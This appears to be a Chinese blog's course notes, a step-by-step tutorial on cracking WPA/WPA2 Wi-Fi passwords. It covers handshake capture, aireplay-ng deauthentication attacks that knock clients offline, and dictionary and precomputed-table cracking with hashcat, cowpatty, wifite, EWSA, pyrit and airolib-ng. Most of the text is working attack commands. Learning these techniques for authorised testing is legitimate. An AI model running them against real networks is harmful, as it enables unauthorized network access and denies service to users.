aircrack-ng -w /root/wifi/passwd.txt wpa-1-01.cap

7.课程小结

课后笔记5

十、WPA-hashcat渗透

严重声明:cpu加速都是幌子,aricrack-ng也用cpu,不然用爱跑的?

1.hashcat介绍

Hashcat系列软件是比较牛逼的密码破解软件,HashCat主要分为三个版本:Hashcat、oclHashcat-plus、oclHashcat-lite。

这三个版本的主要区别是:

HashCat只支持CPU破解。

oclHashcat-plus支持使用GPU破解多个HASH,并且支持的算法高达77种

oclHashcat-lite只支持使用GPU对单个HASH进行破解,支持的HASH种类仅有32种,但是对算法进行了优化,可以达到GPU破解的最高速度。

如果只有单个密文进行破解的话,推荐使用oclHashCat-lite。

2.渗透姿势

1.查看网卡

ip a

2.开启监听模式

airmon-ng start wlan0

3.扫描wifi

airodump-ng wlan0mon

4.抓包保存

airodump-ng wlan0mon -c 1 --bssid D8:24:BD:79:18:0B -w wpa-1 
-c:指定信道
--bssid:AP的MAC地址
-w:保存抓包结果

5.进行冲突模式攻击

将设备踢下线,当用户重连的时候,就会抓到握手包

aireplay-ng -0 5 -a D8:24:BD:79:18:0B -c 18:CC:18:C5:D5:64 wlan0mon
-0:冲突攻击模式,后面跟发送次数(设置为 0,则为循环攻击,不停的断开连接,客户端无法正常上网)
-a:设置 ap 的 mac
-c:设置已连接的合法客户端的 mac

6.重新连接wifi

获得握手包,用于破解

image-20211201201536769

7.生成hccap文件

aircrack-ng wpa-1-01.cap -j wpahaccap
 -j <file>  : create Hashcat v3.6+ file (HCCAPX)
 -J <file>  : create Hashcat file (HCCAP)

8.破解

hashcat -m 2500 wpahaccap.hccapx /root/wifi/passwd.txt
-m:指定破解类型
2500:wpa/wpa2

image-20211201201625121

9.再次查看密码

hashcat -m 2500 wpahaccap.hccapx --show

10.删除之前破解成功的记录

rm ~/.hashcat/hashcat.potfile

11.使用大字典

根本没有加速

hashcat -m 2500 wpahaccap.hccapx /root/wifi/pwd.txt

image-20211201201735564

image-20211201201746153

3.课后小结

课后笔记6

十一、创建Hash-table加速并用Cowpatty

1. Cowpatty软件介绍

CoWPAtty是WPA-PSK的自动字典攻击工具,它运行在Linux上,改程序具有命令行界面,并使用字典进行密码攻击

2. 渗透流程

1. 安装CoWPAtty

cowpatty

image-20230417111030753

2. 抓握手包

airodump-ng wlan0mon -c 1 --bssid D8:24:BD:79:18:0B -w wpa-1
-c 指定信道
--bssid:AP的MAC地址
-w:保存抓包结果

3. 重新连接WiFi

4. 渗透WPA wifi

cowpatty -f /root/wifi/passwd.txt -r wpa-1-01.cap -s WiFi名
-f:字典文件
-r:数据包捕获文件
-s:网络SSID(如果SSID包含空格,则使用引号括起来)

image-20230417111222530

5. 使用大字典破解

cowpatty -f /root/wifi/pwd.txt -r wpa-1-01.cap -s WiFi名

image-20230417111352962

没有开启加速时,每秒尝试1000个密码,破解速度很慢

3.hash-table加速

1. 将密码字典生成hash-table

genpmk -f pwd.txt -d ./pwdhash -s WiFi名

image-20230417111546456

生成hash-table速度比较慢,但是具有可传播性

2. 加速渗透

cowpatty -d /root/wifi/pwdhash -r wpa-1-01.cap -s wifi名

image-20230417112130405

4. 课堂小结

image-20230417112252255

十二、WPA-自动化渗透WPA加密

1.开启监听模式

airmon-ng start wlan0

2.指定密码破解

wifite --dict /root/wifi/passwd.txt
--dict:指定密码字典

3.等待扫描到WiFi,停止扫描

ctrl+c

059d66f4ec35472cafff78fafca756b8

4.选择WiFi序号开始扫描

ecdbdc7748ee473c9264c562454e8f0d

5.指定密码大字典破解

wifite --dict /root/wifi/pwd.txt

十三、WPA破解-windows下GPU跑包加速

1. 软件介绍

一个非常不错的网络网络破解工具,可以直接破解握手包,xp系统下速度非常快。EWSA全称Elcomsoft Wireless Security Auditor。号称可以利用GPU的运算性能快速攻破无线网络密码,运算速度相比使用CPU可提高最多上百倍。本软件的工作方式很简单,就是利用词典去暴力找回无线AP上的WPA和WPA2密码,还支持字母大小写、数字替代、符号顺序变换、缩写、元音替换等12种变量设定,在ATI和NVIDIA显卡上均可使用。使用该软件前要事先抓好WPA握手包。

实现GPU加速的前提条件:

英伟达公司 设计的 计算统一设备架构

AMD 设计的 流开放计算库 openCL

通过这两个技术,可以让显卡帮我们进行计算渗透

2.安装教程

1.双击ewsa_setup_en.exe

2.选择next

image.png

3.选择Accept

image.png

4.点击next

image.png

5.点击next

image.png

6.选择安装位置 点击next

image.png

7.点击Install

image.png

8.点击 【是】

image.png

9.点击Finsh

image.png

10.点击 【是】

image.png

11.点击 【ok】

image.png

12.点击Help

image.png

13.点击 激活码

image.png

14.输入激活码,点击OK

image.png

image.png

15.点击确定

image.png

16.点击 Options 选择Language 选择chinese

image.png

3.渗透步骤

1.将握手包文件和密码拷贝到自己喜欢的目录

image.png

2.点击【选项】–【CPU选项】

image.png

3.点击【自动检测】,在点击【OK】

image.png

4.点击【选项】–【GPU选项】

image.png

5.选择显卡,点击【OK】

image.png

6.点击【导入数据】,选择【TCPDUMP文件】

image.png

7.选则握手包文件,点击【打开】

image.png

8.选则握手,点击【ok】

image.png

image.png

9.点击破解选项

image.png

10.选则【字典破解】,点击【添加】

image.png

11.选择【pwd.txt】密码字典,点击【打开】

image.png

12.点击【应用】,点击【确定】

image.png

13.点击【开始破解】-选择【字典破解】

image.png

14.点击保存

image.png

15.等待破解结果

image.png

16.点击【确定】,记录wifi密码

image.png

十四、WPA渗透-pyrit:GPU加速_Hash-table

1.pyrit工具介绍

pyrit是一款开源且完全免费的软件,任何人都可以检查,复制或修改它。它在各种平台上编译和执行,包括FreeBSD、MacOS X和Linux作为操作系统以及x86、alpha、arm等处理器。

使用pyrit工具最大的优点,在于它可以使用除CPU之外的GPU运算加速生成彩虹表,本身支持抓包获取四步握手过程,无须使用airodump抓包,如果已经通过ariodump抓取数据,也可以使用pyrit进行读取。

2.安装pyrit

1.修改更新源

vim /etc/apt/sources.list

deb http://mirrors.ustc.edu.cn/debian/ buster main contrib non-free
deb http://mirrors.ustc.edu.cn/debian/ buster-updates main contrib non-free
deb http://mirrors.ustc.edu.cn/debian/ buster-backports main contrib non-free
deb http://mirrors.ustc.edu.cn/debian-security buster/updates main contrib non-free

2.更新安装源

apt-get update && apt-get upgrade

3.下载pyrit

apt-get install pyrit

image.png

3.安装scapy到指定目录步骤

1、下载scapy:

wget -v https://github.com/secdev/scapy/archive/v2.3.2.tar.gz

或者将附件里的scapy-2.3.2.tar.gz拷贝到kali

2、解压后进入目录执行:

tar -xzvf tar -xzvf scapy-2.3.2.tar.gz
cd scapy-2.3.2 
python2 setup.py build
python2 setup.py install

3.安装

python2 setup.py install

image.png

4.渗透wifi

1.分析握手包信息

pyrit -r cap包 analyze
-r:pcap格式的数据包捕获源
analyze:分析数据包捕获文件

pyrit -r wpa-1-01.cap analyze

image.png

2.密码字典渗透WiFi

pyrit -r 握手包 -i 字典 -b bssid attack_passthrough
-i:输入的文件名
-b:按BSSID筛选AccessPoint
attack_passthrough:用文件中的密码攻击握手

pyrit -r wpa-1-01.cap -i /root/wifi/pwd.txt -b d8:24:bd:79:18:0b attack_passthrough

image.png

3.hash-table加速渗透wifi

pyrit -r 握手包 -i 哈希列表 -b bssid attack_cowpatty
attack_cowpatty:攻击一个来自cowpatty文件的PMK握手

pyrit -r wpa-1-01.cap -i /root/wifi/pwdhash -b d8:24:bd:79:18:0b attack_cowpatty

image.png

十五、pyrit:batch-table加速attack_db模块加速

1.渗透WIFI

1.导入密码字典

pyrit -i 字典文件 import_passwords
-i:输入的文件名
import_passwords:从类文件源导入密码。

pyrit -i /root/wifi/pwd.txt import_passwords

2.导入essid,破解完成记得删除

pyrit -e wifi名称 create_essid
-e:按ESSID过滤AccessPoint
create_essid:创建一个新的ESSID
delete_essid:从数据库中删除一个ESSID

pyrit -e cisco-1809 create_essid

3.批处理数据库,速度比较慢,耐心等待

pyrit batch 
batch:批处理数据库

4.batch-table(批处理数据库)加速渗透wifi

pyrit -e WiFi名称 -r cap包 attack_batch
attack_batch:攻击从数据库的PMKs/密码握手
-r:pcap格式的数据包捕获源

pyrit -e cisco-1809 -r wpa-1-01.cap attack_batch

5.attack_db 加速渗透wifi

pyrit -e WiFi名称 -r cap包 attack_db
attack_db:攻击与数据库中的PMK握手
-r:pcap格式的数据包捕获源

pyrit -e cisco-1809 -r wpa-1-01.cap attack_db

6.batch-table和hash-table对比

相同点:生成起来都很慢

不同点:hash-table可以分享给别人用,batch-table只能自己用

弊端:需要生成batch-table 字典越大生成越慢

优势:生成batch-table后,渗透速度指数级提升

十六、WPA渗透-使用airolib-ng创建彩虹表加速

1.什么是彩虹表?

彩虹表是一个用于加密散列函数逆运算的预先计算好的表,为破解密码的散列值(或称哈希值、微缩图、摘要、指纹、哈希密文)而准备。一般主流的彩虹表都在100GB以上。这样的表常常用于恢复由有限集字符组成的固定长度的纯文本密码。

2.渗透wifi

1.创建数据库名

airolib-ng [数据库名] --import essid [一个或者多个ssid的文件]

airolib-ng RINBOW1 --import essid wifi.txt

image.png

2.将字典导入数据库

airolib-ng [数据库名] --import passwd [字典]

airolib-ng RINBOW --import passwd /root/wifi/pwd.txt
airolib-ng RINBOW1 --import passwd /root/wifi/passwd.txt

image.png

3.生成渗透wifi密码的PMK

airolib-ng [数据库名] --batch

airolib-ng RINBOW1 --batch

image.png

image.png

4.生成需要渗透wifi的彩虹表

airolib-ng [数据库名] --export cowpatty [ssid][表名]

airolib-ng RINBOW1 --export cowpatty cisco-1809 R_RINBOW1

image.png

5.渗透wifi

cowpatty -s [ssid] -d [表名] -r [抓到的cap握手包]

cowpatty -s cisco-1809 -d R_RINBOW1 -r wpa-1-01.cap
cowpatty -s cisco-1809 -d R_RINBOW -r wpa-1-01.cap

image.png


文章作者: 吗喽の小屋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 吗喽の小屋 !
  目录